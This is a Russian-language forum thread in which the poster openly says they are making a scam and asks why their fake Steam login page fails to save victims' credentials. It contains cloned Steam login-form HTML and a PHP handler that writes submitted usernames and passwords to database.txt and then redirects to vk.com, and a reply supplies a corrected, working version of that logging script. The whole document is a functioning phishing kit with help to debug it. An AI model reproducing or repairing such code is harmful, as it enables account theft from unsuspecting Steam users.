Делаю скам и вот застопорился, нужно сделать так чтобы при нажатии кнопки Войти веденные данные username и password сохранялись в документ! Делал через php с html в одном файле не получилось, разбивал на отдельные файлы скрипт. Обновил код, не знаю что не так <form action="login.php" method='POST'> <div class="auth_button_h3">Отправить</div> <input type="hidden" name="emailsteamid" id="emailsteamid"> <input type="hidden" name="loginfriendlyname" id="loginfriendlyname" value=""> <div>Имя пользователя</div> <input class="textField" type="text" name="username" id="steamAccountName" autofocus="" maxlength="64"><br> <br> <div>Пароль</div> <input name="password" tabindex="2" class="textField" id="steamPassword" type="password" maxlength="64" autocomplete="off"><br> <br> <div id="captcha_entry" class="captcha_oauth" style="display: none;"> <input type="hidden" id="captchagid" name="captchagid" value="-1"> <div id="CaptchaFormArea"> <div>Введите эти символы ниже</div> <img id="captchaImg" src="https://steamcommunity.com/public/captcha.php?gid=-1" border="0" data-pagespeed-url-hash="2133276628" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"><br> <div id="captchaRefresh"><img src="[IMG][IMG]https://steamcommunity-a.akamaihd.net/public/images//skin_1/blue_refresh_icon.png[/IMG]"[/IMG] id="captchaRefreshImg" border="0" onclick="RefreshCaptcha();return false;" data-pagespeed-url-hash="2899327123" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> <a href="#" id="captchaRefreshLink" title="Refresh" onclick="RefreshCaptcha();return false;">Refresh</a></div> <input class="textField" type="text" name="captcha_text" id="input_captcha" autocomplete="off"><br> <div class="smallLabel" id="captchaExplanation">Вы человек или робот?</div> <br> </div> </div> <div id="login_btn_signin"> <input class="btn_green_white_innerfade" type="button" id="imageLogin" style="width:104px; height:34px; border:none; font-size: 15px;" onclick="checkFields();" value="Войти"> </div> </form> HTML <form action="login.php" method='POST'> <div class="auth_button_h3">Отправить</div> <input type="hidden" name="emailsteamid" id="emailsteamid"> <input type="hidden" name="loginfriendlyname" id="loginfriendlyname" value=""> <div>Имя пользователя</div> <input class="textField" type="text" name="username" id="steamAccountName" autofocus="" maxlength="64"><br> <br> <div>Пароль</div> <input name="password" tabindex="2" class="textField" id="steamPassword" type="password" maxlength="64" autocomplete="off"><br> <br> <div id="captcha_entry" class="captcha_oauth" style="display: none;"> <input type="hidden" id="captchagid" name="captchagid" value="-1"> <div id="CaptchaFormArea"> <div>Введите эти символы ниже</div> <img id="captchaImg" src="https://steamcommunity.com/public/captcha.php?gid=-1" border="0" data-pagespeed-url-hash="2133276628" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"><br> <div id="captchaRefresh"><img src="[IMG][IMG]https://steamcommunity-a.akamaihd.net/public/images//skin_1/blue_refresh_icon.png[/IMG]"[/IMG] id="captchaRefreshImg" border="0" onclick="RefreshCaptcha();return false;" data-pagespeed-url-hash="2899327123" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> <a href="#" id="captchaRefreshLink" title="Refresh" onclick="RefreshCaptcha();return false;">Refresh</a></div> <input class="textField" type="text" name="captcha_text" id="input_captcha" autocomplete="off"><br> <div class="smallLabel" id="captchaExplanation">Вы человек или робот?</div> <br> </div> </div> <div id="login_btn_signin"> <input class="btn_green_white_innerfade" type="button" id="imageLogin" style="width:104px; height:34px; border:none; font-size: 15px;" onclick="checkFields();" value="Войти"> </div> </form> <?PHP $Log = $_POST['username']; $Pass = $_POST['password']; $Aut = $_POST ['Aut']; $log = fopen("database.txt","at"); fwrite($log,"\n$Log||$Pass"||"$Aut"); fclose($log); echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vk.com/'></head></html>"; ?> PHP <?PHP $Log = $_POST['username']; $Pass = $_POST['password']; $Aut = $_POST ['Aut']; $log = fopen("database.txt","at"); fwrite($log,"\n$Log||$Pass"||"$Aut"); fclose($log); echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vk.com/'></head></html>"; ?>
TheLol, эм, у тебя в коде как минимум переменная $log перезаписывается несколько раз, дальше смотреть даже не интересно)
$Log = $_POST['username']; $Pass = $_POST['password']; $Aut = $_POST ['Aut']; $data = fopen("database.txt", "a"); fwrite($data,"\n".$Log."||".$Pass."||".$Aut); fclose($data); echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vk.com/'></head></html>";